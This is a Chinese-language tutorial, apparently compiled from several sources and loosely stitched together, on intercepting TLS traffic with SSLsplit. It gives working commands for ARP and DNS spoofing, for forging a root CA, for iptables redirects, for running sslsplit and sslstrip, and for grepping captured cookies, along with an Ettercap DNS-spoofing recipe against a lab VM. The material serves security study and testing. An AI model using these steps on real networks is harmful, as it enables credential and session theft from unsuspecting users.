sslsplit
http://www.roe.ch/SSLsplit
[](http://www.freebuf.com/sectool/48016.html)
[](http://blog.csdn.net/wizardforcel/article/details/52798019)
原文:http://blog.philippheckel.com/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/
mitmproxy对https连接的数据抓取很完美。但是,它不能理解其他基于TLS/SSL的流量,比如FTPS, SMTP over SSL, IMAP over SSL等。
SSLsplit 是一个通用的透明TLS/SSL代理, 可以执行中间人攻击。
使用SSLsplit,可以监听和保存所有基于SSL的流量
1.工作原理
SSLsplit同其他透明SSL代理工具类似:它扮演了一个在客户端和实际的服务器间的中间人。
所有的流量都被转向(redirect)到SSLsplit运行的那台服务器上(通过改变默认的网关, ARP欺骗或者其他方式)
- 转向流量
1)使用ARP欺骗。发送假的网关(gateway)的MAC地址(其实是攻击者的MAC地址) 给受害者, 让受害者误以为 攻击者就是网关。
你不需要物理访问受害者的设备就能做到。
2)手动改变 受害者的 默认网关。如果你能物理访问受害者设备,这是最简单的方法
3) DNS欺骗。 对特定的域名,返回攻击者的IP作为目标服务器的地址 给受害者。
4)修改受害者机器的/etc/hosts的条目来 转向某些域名的流量
改变受害者的默认网关,是最简单的方法。毕竟,我们为了安装CA证书到受害者机器上,也需要物理访问机器。
- 安装
https://github.com/droe/sslsplit
Debian上目前只有sslsniff, 没有sslsplit
apt-get install libssl-dev libevent-dev
git clone https://github.com/droe/sslsplit
cd sslsplit
make
mkdir /tmp/sslsplit
在sslsplit目录下就生成了一个 可执行文件 sslsplit
4.生成CA证书
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt
openssl req -new -x509 -days 1826 -key ca.key -out ca.crt -subj "/C=CN/ST=beijing/L=beijing/O=china/OU=baidu/CN=baidu"
第1个命令,生成 4096位的RSA私钥(以pem格式保存) ca.key
第2个命令, 使用这个刚生成的私钥,来生成一个 自签名的 root CA 证书(ca.crt)
这两个文件在后面都会用到。只有ca.crt这个证书文件,需要安装 到浏览器,或者受害者的机器上。
5.启用IP转发和NAT引擎
假设SSLsplit运行在两个端口 8080用作非SSL的TCP连接,比如 http, smtp, ftp
8443 用作SSL的连接,比如SMTP over SSL, HTTPS等
为了转发 到达攻击者机器的IP到 互联网上的端口,可以这么设置
sysctl -w net.ipv4.ip_forward=1
- ```
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
HTTPS:
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
SMTP server on port 465
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
IMAP on port 143 or via IMAP over SSL on port 993
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
2. ```
sudo iptables -t nat -N SSLSPLIT
sudo iptables -t nat -A SSLSPLIT -p tcp --dport 80 -j REDIRECT --to-ports 8080
sudo iptables -t nat -A SSLSPLIT -p tcp --dport 443 -j REDIRECT --to-ports 8443
# enable
iptables -t nat -A PREROUTING -j SSLSPLIT
# disable
sudo iptables -t nat -D PREROUTING -j SSLSPLIT
mitmproxy sniffing into HTTPS only mkdir -p /tmp/sslsplit/logdir/ -D -D Debug模式,用于输出SSLSplit状态,建议使用时加上 最后存储路径为: /tmp/sslsplit/logdir/ -D:这是在前台运行 SSLSplit,并不是守护进程,并带有详细的输出。 mitmproxy 监听 https 比 sslsplit更方便 sslsplit -h -w gendir write leaf key and only generated certificates to gendir -g pemfile use DH group params from pemfile (default: keyfiles or auto) -i look up local process owning each connection for logging Example: 8.6 执行 DNS 欺骗并重定向流量 DNS 欺骗是一种攻击,其中执行 MITM 攻击的攻击者使用它来修改响应受害者的 DNS 服务器中的名称解析,发送给他们恶意页面,而不是他们请求的页面,但仍然使用有效名称。 这个秘籍中,我们会使用 Ettercap 来执行 DNS 欺骗攻击,并在受害者打算浏览别的网站时,使其浏览我们的网站。 对于这个秘籍,我们需要使用我们的 WIndows 客户端虚拟机,但是这次网络识别器桥接到 DNS 解析中。这个秘籍中它的 IP 地址为 192.168.71.14。 攻击者的机器是我们的 Kali 主机,IP 为 192.168.71.8。它也需要运行 Apache 服务器,并拥有index.html演示页面,我们会包含下列东西: 工作原理 这个秘籍中,我们看到如何使用中间人攻击来强制用户浏览某个页面,他们甚至相信自己在其它站点上。 在第一步中,我们修改了 Ettercap 的名称解析文件,让它将所有请求的名称重定向到我们的 Kali 主机。 之后,我们以下列参数运行 Ettercap:-i wlan0 -T -P dns_spoof -M arp /192.168.71.14///。 最后,我们确认了攻击能够正常工作。 也有另一个非常实用的用于这些类型攻击的工具,叫做 dnsspoof。你应该下载下来并加入工具库: man dnsspoof http://www.monkey.org/~dugsong/dsniff/ 另一个值得提及的工具是中间人攻击框架:MITMf。它包含内建的 ARP 毒化、DNS 欺骗、WPAD 代理服务器,以及其它攻击类型的功能。 mitmf --help
sudo mitmproxy -T --host -e
sslstrip -a -k -f
sudo sslstrip -a -k -f -l 10000
-p , --post Log only SSL POSTs. (default)
-s , --ssl Log all SSL traffic to and from server.
-a , --all Log all SSL and HTTP traffic to and from server.
-l
-f , --favicon Substitute a lock favicon on secure requests.
-k , --killsessions Kill sessions in progress.
6.运行SSLsplitsslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.cer ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
./sslsplit
-l connections.log
-j /tmp/sslsplit/
-S logdir/
-k ca.key
-c ca.cer
ssl 0.0.0.0 8443
tcp 0.0.0.0 8080
-l 日志文件
-j 指定log目录地址
-S 指定-j参数目录下需要记录截断GET、POST请求的子目录地址
-k 指定私钥key文件,进行欺骗
-c 指定Root CA证书文件
ssl IP 端口 指定ssl需要监听的端口
tcp IP 端口 指定tcp需要监听的端口
cat /tmp/sslsplit/logdir/*
tail -f /tmp/sslsplit/loggdir/* .log
查看Cookie: grep -r "Cookie:" ./
-l connections.log:这将每个连接的记录保存到当前目录的connections.log中。
-j /tmp/sslsplit:这用于建立jail directory目录,/tmp/sslsplit会作为 root(chroot)包含 SSLSplit 的环境。
-S logdir:这用于告诉 SSLSplit 将内容日志(所有请求和响应)保存到logdir(在jail目录中),并将数据保存到单独的文件中。
-k和-c:这用于指明和充当 CA 时,SSLSplit 所使用的私钥和证书。
ssl 0.0.0.0 8443:这告诉 SSLSplit 在哪里监听 HTTPS(或者其它加密协议)连接。要记住这是我们在上一章中使用 iptables 从 443 转发的接口。
tcp 0.0.0.0 8080:这告诉 SSLSplit 在哪里监听 HTTP 连接。要记住这是我们在上一章中使用 iptables 从 80 转发的接口。
Usage: sslsplit [options...] [proxyspecs...]
-c pemfile use CA cert (and key) from pemfile to sign forged certs
-k pemfile use CA key (and cert) from pemfile to sign forged certs
-C pemfile use CA chain from pemfile (intermediate and root CA certs)
-K pemfile use key from pemfile for leaf certs (default: generate)
-t certdir use cert+chain+key PEM files from certdir to target all sites matching the common names (non-matching: generate if CA)
-W gendir write leaf key and all certificates to gendir
-O deny all OCSP requests on all proxyspecs
-P passthrough SSL connections if they cannot be split because of client cert auth or no matching cert and no CA (default: drop)
-G curve use ECDH named curve (default: prime256v1)
-Z disable SSL/TLS compression on all connections
-r proto only support one of ssl3 tls10 tls11 tls12 (default: all)
-R proto disable one of ssl3 tls10 tls11 tls12 (default: none)
-s ciphers use the given OpenSSL cipher suite spec (default: ALL:-aNULL)
-e engine specify default NAT engine to use (default: pf)
-E list available NAT engines and exit
-u user drop privileges to user (default if run as root: nobody)
-m group when using -u, override group (default: primary group of user)
-j jaildir chroot() to jaildir (impacts sni proxyspecs, see manual page)
-p pidfile write pid to pidfile (default: no pid file)
-l logfile connect log: log one line summary per connection to logfile
-L logfile content log: full data to file or named pipe (excludes -S/-F)
-S logdir content log: full data to separate files in dir (excludes -L/-F)
-F pathspec content log: full data to sep files with % subst (excl. -L/-S): %T - initial connection time as an ISO 8601 UTC timestamp
%d - destination host and port
%D - destination host
%p - destination port
%s - source host and port
%S - source host
%q - source port
%x - base name of local process (requires -i)
%X - full path to local process (requires -i)
%u - user name or id of local process (requires -i)
%g - group name or id of local process (requires -i)
%% - literal '%'
e.g. "/var/log/sslsplit/%X/%u-%s-%d-%T.log"
-d daemon mode: run in background, log error messages to syslog
-D debug mode: run in foreground, log debug messages on stderr
-V print version information and exit
-h print usage information and exit
proxyspec = type listenaddr+port [natengine|targetaddr+port|"sni"+port] e.g. http 0.0.0.0 8080 www.roe.ch 80 # http/4; static hostname dst
https ::1 8443 2001:db8::1 443 # https/6; static address dst
https 127.0.0.1 9443 sni 443 # https/4; SNI DNS lookups
tcp 127.0.0.1 10025 # tcp/4; default NAT engine
ssl 2001:db8::2 9999 pf # ssl/6; NAT engine 'pf'
autossl ::1 10025 # autossl/6; STARTTLS et al
sslsplit -k ca.key -c ca.pem -P https 127.0.0.1 8443 https ::1 8443
准备Spoofed SITE
操作步骤 假设我们已经启动了 Apache 服务器,并正确配置了伪造页面,让我们编辑/etc/ettercap/etter.dns,使它仅仅包含下面这一行:
* A 192.168.71.8
我们仅仅设置一条规则:所有 A 记录(地址记录)都解析到192.168.71.8,这是我们 Kali 的地址。我们可以设置其他条目,但是我们打算在这里避免干扰。
这次,我们从命令行运行 Ettercap。打开 root 终端并键入下列命令:
ettercap -i wlan0 -T -P dns_spoof -M arp /192.168.71.14///
1
1
它会以文本模式运行 Ettercap,并开启 DNS 欺骗插件来执行 ARP 欺骗攻击,目标仅仅设置为192.168.71.14。
启动攻击之后,我们来到客户端主机,并尝试通过网站自己的域名来浏览网站,例如,www.yahoo.com,像这样:
要注意,现在地址和标签栏显示原始站点的名称,但是内容来自不同的地方。
我们也可以尝试使用nslookup执行地址解析,像这样:
-i wlan0:要技术我们需要客户端进行 DNS 解析,所以我们需要让它连接到桥接的适配器,并到达我们的 Kali 主机,所以我们将嗅探接口设为wlan0(攻击者计算机上的无线网卡)。
-T:使用纯文本界面。
-P dns_spoof:启动 DNS 欺骗插件。
-M arp:执行 ARP 欺骗攻击。
/192.168.71.14///:这是我们在命令行中对 Ettercap 设置目标的方式:MAC/ip_address/port。其中//表示任何对应 IP 192.168.71.14(客户端)任何端口的 MAC 地址。
另见 1
1